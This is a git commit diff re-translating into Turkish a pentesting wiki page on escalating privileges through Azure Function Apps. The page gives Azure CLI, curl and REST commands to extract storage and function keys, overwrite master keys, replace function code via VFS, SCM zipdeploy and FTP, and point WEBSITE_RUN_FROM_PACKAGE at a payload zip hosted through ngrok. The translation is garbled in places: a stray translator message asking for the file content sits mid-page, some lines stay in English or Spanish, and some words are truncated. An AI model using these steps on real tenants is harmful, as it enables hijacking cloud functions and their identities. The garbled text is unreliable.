Translated ['', 'src/pentesting-cloud/azure-security/az-privilege-escala

This commit is contained in:
Translator
2026-06-16 13:15:53 +00:00
parent 1183366e8b
commit e9c45f6f2c
@@ -4,7 +4,7 @@
## Function Apps
Daha fazla bilgi için aşağıdaki sayfayı inceleyin:
Daha fazla bilgi için aşağıdaki sayfayı kontrol edin:
{{#ref}}
../az-services/az-function-apps.md
@@ -12,26 +12,26 @@ Daha fazla bilgi için aşağıdaki sayfayı inceleyin:
### Bucket Read/Write
Fonksiyon verilerini depolayan Storage Account içindeki container'ları okuma izinleriniz varsa, **farklı container'lar** (özel veya ön tanımlı isimlerle) bulabilirsiniz; bunlar **fonksiyon tarafından çalıştırılan kodu** içerebilir.
Function verisini saklayan Storage Account içindeki container'ları okuma yetkileriyle, **farklı container'lar** (custom veya önceden tanımlı adlarla) bulmak mümkündür; bunlar **function tarafından yürütülen code**'u içerebilir.
Fonksiyonun kodunun nerede bulunduğunu bulduğunuzda ve üzerinde yazma izniniz varsa, fonksiyonun herhangi bir kodu çalıştırmasını sağlayabilir ve fonksiyona bağlı managed identities'in ayrıcalıklarını yükseltebilirsiniz.
Function code'unun nerede bulunduğunu bulduktan sonra, üzerinde write yetkiniz varsa function'ı herhangi bir code çalıştıracak şekilde yapabilir ve Function'a bağlı managed identities üzerinden privilege escalation yapabilirsiniz.
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE)`
- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE)`
Fonksiyonun kodu genellikle bir file share içinde depolanır. Yeterli erişimle kod dosyasını değiştirmek ve **fonksiyonun rastgele kod yüklemesini sağlamak** mümkün olup bu, Function'a bağlı managed identities'in ayrıcalıklarını yükseltmeye olanak tanır.
Function code'u genellikle bir file share içinde saklanır. Yeterli access ile code dosyasını değiştirip **function'ın arbitrary code yüklemesini sağlamak** mümkündür; bu da Function'a bağlı managed identities üzerinden privilege escalation yapılmasına izin verir.
This deployment method usually configures the settings **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** and **`WEBSITE_CONTENTSHARE`** which you can get from
Bu deployment yöntemi genellikle **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** ve **`WEBSITE_CONTENTSHARE`** ayarlarını yapılandırır; bunları şuradan elde edebilirsiniz:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Bu konfigürasyonlar, Function'ın koda erişmek için kullanabileceği **Storage Account Key**'i içerecektir.
Bu config'ler, Function'un code'a erişmek için kullanabileceği **Storage Account Key**'i içerir.
> [!CAUTION]
> File Share'a bağlanmak ve çalışan **modify the script** üzerinde değişiklik yapma yetkisine sahip olunması durumunda Function içinde execute arbitrary code gerçekleştirmek ve escalate privileges mümkün olabilir.
> File Share'e bağlanmak ve çalışan **script**'i **modify** etmek için yeterli permission ile, Function içinde arbitrary code execute etmek ve privileges escalate etmek mümkündür.
Aşağıdaki örnek, file share'a bağlanmak için macOS kullanmaktadır; ancak file share'ler hakkında daha fazla bilgi için şu sayfayı da incelemeniz önerilir:
Aşağıdaki example, file share'e bağlanmak için macOS kullanır, ancak file shares hakkında daha fazla info için şu page'i de kontrol etmeniz önerilir:
{{#ref}}
../az-services/az-file-shares.md
@@ -47,26 +47,26 @@ open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)
Ayrıca, function app'in kullandığı Storage Account konteynerindeki `function-releases` klasörü içinde **zip sürümlerini** bulmak da yaygındır; konteyner genellikle **`function-releases`** olarak adlandırılır.
Ayrıca, function appin bir container içinde kullandığı Storage Account container’ının `function-releases` klasörü içinde **zip releases** bulmak da yaygındır; bu container **genellikle `function-releases` olarak adlandırılır**.
Genellikle bu dağıtım yöntemi `WEBSITE_RUN_FROM_PACKAGE` konfigürasyonunu şu yerde ayarlar:
Genellikle bu deployment yöntemi, `WEBSITE_RUN_FROM_PACKAGE` configini şurada ayarlar:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
This config will usually contain a **SAS URL to download** the code from the Storage Account.
Bu config genellikle codeu Storage Accounttan indirmek için bir **SAS URL** içerir.
> [!CAUTION]
> Yeterli izinle, **contains the code in zip** içeren blob container'a bağlanılarak Function içinde arbitrary code çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
> **code in zip** içeren blob containera bağlanmak için yeterli permission ile Function içinde arbitrary code execute etmek ve privileges escalate etmek mümkündür.
- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE`)
Önceki durumda olduğu gibi, dağıtım Github Actions ile yapıldıysa Storage Account içinde kodun bir zip'ini içeren **`github-actions-deploy`** klasörünü ve zip için `WEBSITE_RUN_FROM_PACKAGE` ayarında bulunan bir SAS URL'sini bulmak mümkündür.
Önceki casede olduğu gibi, deployment Github Actions üzerinden yapılıyorsa Storage Account içinde codeun bir zipini ve `WEBSITE_RUN_FROM_PACKAGE` settinginde zipe ait bir SAS URLyi içeren **`github-actions-deploy`** folder’ını bulmak mümkündür.
- **`scm-releases`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` ve `WEBSITE_CONTENTSHARE`)
- **`scm-releases`**(`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` and `WEBSITE_CONTENTSHARE`)
Function verilerini saklayan Storage Account içindeki container'ları okuma iznine sahip olunduğunda **`scm-releases`** container'ını bulmak mümkündür. Orada en son release'in **Squashfs filesystem file format** halinde olduğu bulunabilir ve dolayısıyla Function'ın kodunu okumak mümkün olur:
Function datasını saklayan Storage Account içindeki containers’ı read etme permissionları ile **`scm-releases`** containerını bulmak mümkündür. Orada en son releasei **Squashfs filesystem file format** inde bulmak mümkündür ve bu nedenle functionın codeunu read etmek mümkünr:
```bash
# List containers inside the storage account of the function app
az storage container list \
@@ -98,10 +98,10 @@ unsquashfs -l "/tmp/scm-latest-<app-name>.zip"
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Ayrıca storage account içinde, container'daki **`azure-webjobs-secrets`** altında yer alan **`<app-name>`** klasöründeki JSON dosyalarında **master ve functions anahtarlarını** bulmak da mümkündür.
Ayrıca, depolama hesabında, **`azure-webjobs-secrets`** konteyneri içinde, **`<app-name>`** klasörünün içinde yer alan JSON dosyalarında saklanan **master ve functions keys**'i bulmak da mümkündür.
> [!CAUTION]
> Kodun bir **zip extension file** içinde bulunduğu blob container'a bağlanmak için yeterli izin varsa (aslında bir **`squashfs`**), Function içinde keyfi kod çalıştırmak ve ayrıcalıkları yükseltmek mümkündür.
> **code in a zip extension file** içeren blob konteynerine bağlanmak için yeterli izne sahip olmakla (bu aslında bir **`squashfs`**) Function içinde arbitrary code execute etmek ve privileges escalate etmek mümkündür.
```bash
# Modify code inside the script in /tmp/fs adding your code
@@ -118,11 +118,11 @@ az storage blob upload \
```
### `Microsoft.Web/sites/host/listkeys/action`
Bu izin, belirtilen function için function, master ve system anahtarlarını (host olanı hariç) listelemeye izin verir:
Bu izin, belirtilen function için function, master ve system keys değerlerini listelemeye izin verir, ancak host key için izin vermez:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
master key ile ayrıca şu gibi bir URL'den kaynak kodunu almak da mümkündür:
Master key ile, aşağıdaki gibi bir URL'de source code elde etmek de mümkündür:
```bash
# Get "script_href" from
az rest --method GET \
@@ -135,7 +135,7 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# JavaScript function app example
curl "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot/HttpExample/index.js?code=tKln7u4DtLgmG55XEvMjN0Lv9a3rKZK4dLbOHmWgD2v1AzFu3w9y_A==" -v
```
Ve fonksiyonda **çalıştırılan kodu değiştirmek** için:
Ve fonksiyonda yürütülen kodu **değiştirmek** için:
```bash
# Set the code to set in the function in /tmp/function_app.py
## Python function app example
@@ -154,36 +154,36 @@ curl -X PUT "https://consumptionexample.azurewebsites.net/admin/vfs/site/wwwroot
```
### `Microsoft.Web/sites/functions/listKeys/action`
Bu izin, belirtilen fonksiyonun varsayılan anahtarını şu şekilde almayı sağlar:
Bu izin, belirtilen function için default key'i almak için şuna izin verir:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
Elde edilen varsayılan anahtarı kullanarak fonksiyonu çağırın:
Fonksiyonu varsayılan elde edilen key ile çağırın:
```bash
curl "https://<app-name>.azurewebsites.net/api/<func-endpoint-name>?code=<default-key>"
```
### `Microsoft.Web/sites/host/functionKeys/write`
Bu izin, belirtilen function için bir function key oluşturma/güncelleme yapmaya izin verir:
Bu izin, belirtilen function için bir function key oluşturma/güncelleme izni verir:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`
Bu izin, belirtilen function için bir master key oluşturmayı veya güncellemeyi sağlar:
Bu izin, belirtilen function için bir master key oluşturmanıza/güncellemenize izin verir:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Bu anahtar ile daha önce açıklandığı gibi kaynak koda da erişebileceğinizi ve onu değiştirebileceğinizi unutmayın!
> Unutmayın ki bu key ile source code'a da erişebilir ve daha önce açıklandığı gibi onu modify edebilirsiniz!
### `Microsoft.Web/sites/host/systemKeys/write`
Bu izin, belirtilen fonksiyon için bir system function key oluşturulmasına/güncellenmesine izin verir:
Bu permission, belirtilen function için bir system function key oluşturmayı/update etmeyi şu şekilde sağlar:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
Çeviriye başlamam için lütfen "Use the key:" sonrası gelen anahtarı veya çevirmemi istediğiniz src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md dosya içeriğini yapıştırın. İçerik olmadan işlem yapamam.
Anahtar kullanın:
```bash
# Ejemplo: Acceso a endpoints de Durable Functions
curl "https://<app-name>.azurewebsites.net/runtime/webhooks/durabletask/instances?code=<system-key>"
@@ -193,28 +193,28 @@ curl "https://<app-name>.azurewebsites.net/runtime/webhooks/eventgrid?code=<syst
```
### `Microsoft.Web/sites/config/list/action`
Bu izin bir function'ın ayarlarını almayı sağlar. Bu yapılandırmalar içinde varsayılan değerler **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** bulunabilir; bunlar function'ın blob storage'ına **TAM izinlerle erişmek için bir hesap anahtarı** içerir.
Bu izin, bir function'ın ayarlarını almaya olanak tanır. Bu yapılandırmaların içinde, function'ın blob storage'ına FULL izinlerle erişmek için kullanılan bir **account key** içeren varsayılan değerler olan **`AzureWebJobsStorage`** veya **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** bulunabilir.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Ayrıca, bu izin (etkinse) **SCM username and password**'i şu komutla almayı sağlar:
Ayrıca, bu izin **SCM username ve password**'ü de (etkinse) şu şekilde almayı sağlar:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`
Bu izinler, daha önce gördüğümüz gibi bir fonksiyonun yapılandırma değerlerini listelemeyi ve ayrıca **bu değerleri değiştirmeyi** sağlar. Bu, fonksiyon içinde çalıştırılacak kodun nerede bulunduğunu gösterdiği için kullanışlıdır.
Bu permissions, daha önce gördüğümüz gibi bir function’ın config values değerlerini listelemeye ve ayrıca **bu değerleri modify etmeye** izin verir. Bu kullanışlıdır çünkü bu settings, function içinde çalıştırılacak codeun nerede bulunduğunu gösterir.
Bu nedenle, web uygulaması içinde çalıştırılacak yeni kodu içeren bir zip dosyasına işaret eden **`WEBSITE_RUN_FROM_PACKAGE`** ayarının değerini ayarlamak mümkündür:
Bu yüzden, bir web application içinde çalıştırılacak yeni codeu içeren bir URL zip fileına işaret edecek şekilde **`WEBSITE_RUN_FROM_PACKAGE`** setting değerini ayarlamak mümkündür:
- Önce mevcut config'i alın
- Start by getting the current config
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Fonksiyonun çalıştırmasını istediğiniz kodu oluşturun ve bunu herkese açık olarak barındırın.
- Fonksiyonun çalıştırmasını istediğin codeu oluştur ve onu publicly host et
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
@@ -224,9 +224,9 @@ python3 -m http.server
# Serve it using ngrok for example
ngrok http 8000
```
- Fonksiyonu değiştirin, önceki parametreleri koruyun ve sonuna kodu içeren **zip**'e işaret eden URL'yi gösteren **`WEBSITE_RUN_FROM_PACKAGE`** ayarını ekleyin.
- Fonksiyonu modify et, önceki parameters'ları koru ve en sona config **`WEBSITE_RUN_FROM_PACKAGE`** ekle; bu config **zip** içeren codeun URLsini işaret etsin.
Aşağıda benim **kendi ayarlarıma ait bir örnek (değerleri kendi ortamınıza göre değiştirmeniz gerekecek)** yer almaktadır; sondaki `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` değerine dikkat edin — uygulamayı burada barındırıyordum.
Aşağıda benim **own settings** için bir example var; değerleri kendi değerlerinle change etmen gerekecek, sonda yer alan `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"` kısmına dikkat et, ben appi burada host ediyordum.
```bash
# Modify the function
az rest --method PUT \
@@ -236,7 +236,7 @@ az rest --method PUT \
```
### `Microsoft.Web/sites/hostruntime/vfs/write`
Bu izin ile web konsolu üzerinden (veya aşağıdaki API endpoint aracılığıyla) bir uygulamanın kodunu **değiştirmek mümkündür**:
Bu izinle, web konsolu (veya aşağıdaki API endpoint) aracılığıyla bir uygulamanın kodunu **değiştirmek mümkündür**:
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
@@ -266,7 +266,7 @@ body: responseMessage
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)
Bu izin, temelde **basic auth credentials** içeren tüm publishing profiles'i listelemeye olanak tanır:
Bu izin, aslında **basic auth kimlik bilgilerini** içeren tüm publishing profile'ları listelemeye izin verir:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
@@ -274,7 +274,7 @@ az functionapp deployment list-publishing-profiles \
--resource-group <res-name> \
--output json
```
Bir diğer seçenek kendi creds'inizi ayarlamak ve bunları kullanmak olacaktır:
Başka bir seçenek, kendi creds bilgilerinizi ayarlayıp şunu kullanarak onları kullanmak olurdu:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
@@ -282,7 +282,7 @@ az functionapp deployment user set \
```
- Eğer **REDACTED** kimlik bilgileri
Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görüyorsanız, bunun nedeni **SCM basic authentication option'ı etkinleştirmeniz gerektiğidir** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):` ihtiyacınız vardır.
Eğer bu kimlik bilgilerinin **REDACTED** olduğunu görürsen, bunun nedeni **SCM basic authentication seçeneğini etkinleştirmen gerekmesi** ve bunun için ikinci izne (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`) ihtiyaç duyman olacaktır.
```bash
# Enable basic authentication for SCM
az rest --method PUT \
@@ -304,26 +304,47 @@ az rest --method PUT \
```
- **Method SCM**
Ardından, bu **basic auth credentials to the SCM URL** ile function app'inizin SCM URL'sine erişebilir ve env variables değerlerini alabilirsiniz:
Ardından, function appin **SCM URL**ine bu **basic auth credentials** ile erişebilir ve env değişkenlerinin değerlerini alabilirsiniz:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v
# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Not: **SCM kullanıcı adı** genellikle "$" karakteri ile başlayıp uygulama adıyla devam eder, yani: `$<app-name>`._
Yeni function code indirebilir, modify edebilir ve upload edebilirsiniz :
```bash
# download
curl -u '<username>:<password>' -X GET \
https://<app-name>.scm.azurewebsites.net/api/zip/site/wwwroot/ \
-o current_function_code.zip
Bu web sayfasına ayrıca şu adresten de erişebilirsiniz: `https://<app-name>.scm.azurewebsites.net/BasicAuth`
unzip current_function_code.zip -d updated_code/
cd updated_code/
#... modify the function code
zip -r ../updated_function_app.zip .
cd ../
Ayar değerleri, function app'in verilerini depolayan storage account'un **AccountKey**'ini içerir; bu da o storage account'u kontrol etmenize olanak tanır.
# upload
curl -u '<username>:<password>' https://<app-name>.scm.azurewebsites.net/api/zipdeploy -X POST --data-binary @updated_function_app.zip -v
```
Hatta belirli bir dosya yükleyebilirsiniz :
```bash
curl -u '<username>:<password>' \
-X PUT \
-H "Content-Type: application/javascript" \
-H "If-Match: *" \
--data-binary "@./my_local_payload.js" \
"https://<app-name>.scm.azurewebsites.net/api/vfs/site/wwwroot/hello-world/index.js" # example NodeJS file
```
_Note that the **SCM username** is usually the char "$" followed by the name of the app, so: `$<app-name>`._
- **Yöntem FTP**
Ayrıca web sayfasına `https://<app-name>.scm.azurewebsites.net/BasicAuth` adresinden erişebilirsiniz
FTP sunucusuna şu şekilde bağlanın:
Ayar değerleri, function app verilerini saklayan storage accountun **AccountKey** değerini içerir ve bu storage accountu kontrol etmeye izin verir.
- **Method FTP**
Aşağıdakini kullanarak FTP servera bağlanın:
```bash
# macOS install lftp
brew install lftp
@@ -341,15 +362,15 @@ _Not: **FTP username** genellikle \<app-name>\\$\<app-name> formatındadır._
### `Microsoft.Web/sites/hostruntime/vfs/read`
Bu izin, uygulamanın kaynak kodunu VFS aracılığıyla **okumaya** izin verir:
Bu izin, appin kaynak kodunu VFS üzerinden **okumaya** izin verir:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`
Bu izinle [get the **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) alınabilir; bu token daha sonra **master key**'i elde etmek için kullanılabilir ve dolayısıyla function'ın koduna erişip onu değiştirmek mümkün olur.
Bu izinle, daha sonra **master key**'i almak ve böylece function'ın code'unu erişmek ve modify etmek için kullanılabilecek **admin token**'ı [almak](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) mümkünr.
Ancak, son kontrollerimde herhangi bir token dönmedi, bu yüzden devre dışı bırakılmış veya artık çalışmıyor olabilir; ama işte nasıl yapacağınız:
However, in my lasts checks no token was returned, so it might be disabled or not working anymore, but here is how you would do it:
```bash
# Get admin token
az rest --method GET \
@@ -361,7 +382,7 @@ curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)
Bu izin, devre dışı bırakılmış olabilecek **fonksiyonları etkinleştirmeye** (veya devre dışı bırakmaya) olanak tanır.
Bu izinler, devre dışı bırakılmış olabilecek **functions**ları etkinleştirmeye (veya devre dışı bırakmaya) izin verir.
```bash
# Enable a disabled function
az functionapp config appsettings set \
@@ -369,13 +390,13 @@ az functionapp config appsettings set \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Aşağıdaki URL'de bir function'ın etkinleştirildiği veya devre dışı bırakıldığı da görülebilir (parantez içindeki izin kullanılarak):
Aşağıdaki URLde bir functionın enabled mı disabled mı olduğunu da görebilirsiniz (parantez içindeki permission’ı kullanarak):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)
Bu izinlerle container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **bir function app tarafından çalıştırılan container'ı değiştirmek** mümkün. Bu, bir saldırganın kötü amaçlı bir azure function container app'i (örneğin docker hub'a) yüklemesine ve function'ın bunu çalıştırmasını sağlamasına izin verir.
Bu izinlerle, bir container çalıştıracak şekilde yapılandırılmış bir function app tarafından çalıştırılan container'ı **modify** etmek mümkündür. Bu, bir saldırganın docker hub'a (örneğin) malicious bir azure function container app yüklemesine ve function'ın bunu execute etmesini sağlamasına izin verir.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
@@ -383,29 +404,29 @@ az functionapp config container set --name <app-name> \
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)
Bu izinlerle bir function'a **attach a new user managed identity** yapmak mümkün. Eğer function ele geçirilmişse, bu herhangi bir user managed identity'ye **escalate privileges** yapılmasına olanak tanır.
Bu permissions ile bir function'a **yeni bir user managed identity attach etmek** mümkündür. Function compromise edilmişse, bu herhangi bir user managed identity'ye privilege escalation yapılmasına izin verir.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Uzaktan Hata Ayıklama
### Remote Debugging
Çalışan bir Azure Function'a bağlanıp hata ayıklamak da mümkündür, [**explained in the docs**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Ancak varsayılan olarak, geliştiricinin unutması durumunda savunmasız yapılandırmaları açık bırakmamak için Azure bu seçeneği 2 gün içinde kapalı duruma getirecektir.
Çalışan bir Azure function'ı debug etmek için bağlanmak da mümkündür; [**docs'ta açıklandığı**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs) gibi. Ancak, default olarak Azure bu seçeneği 2 gün sonra off yapar; böylece developer güvenlik açıklarına yol açabilecek config'leri bırakmayı unutursa önlenmiş olur.
Bir Function'un hata ayıklamanın etkin olup olmadığını şu komutla kontrol etmek mümkündür:
Bir Function'da debugging'in enabled olup olmadığını şu şekilde kontrol etmek mümkündür:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
`Microsoft.Web/sites/config/write` iznine sahip olmak, bir function'ı hata ayıklama moduna geçirmek için de mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini de gerektirir).
`Microsoft.Web/sites/config/write` izniyle, bir function'ı debugging moduna almak da mümkündür (aşağıdaki komut ayrıca `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` ve `Microsoft.Web/sites/Read` izinlerini gerektirir).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Github repo'yu değiştir
### Github repo değiştir
Dağıtımın gerçekleştiği Github repo'yu aşağıdaki komutları çalıştırarak değiştirmeyi denedim fakat değişse bile **yeni kod yüklenmedi** (muhtemelen kodu güncellemesi için Github Action'ı beklediği için).\
Ayrıca, **managed identity federated credential wasn't updated**, yeni repository'ye izin vermediği için bunun çok kullanışlı olmadığı görünüyor.
Deploy işleminin gerçekleştiği Github reposunu aşağıdaki komutları çalıştırarak değiştirmeyi denedim, ancak değişmiş olsa bile, **yeni code yüklenmedi** (muhtemelen Github Action’ın codeu güncellemesini beklediği için).\
Ayrıca, **managed identity federated credential** yeni repositoryyi allow edecek şekilde güncellenmedi, bu yüzden bunun çok da useful olmadığı görülüyor.
```bash
# Remove current
az functionapp deployment source delete \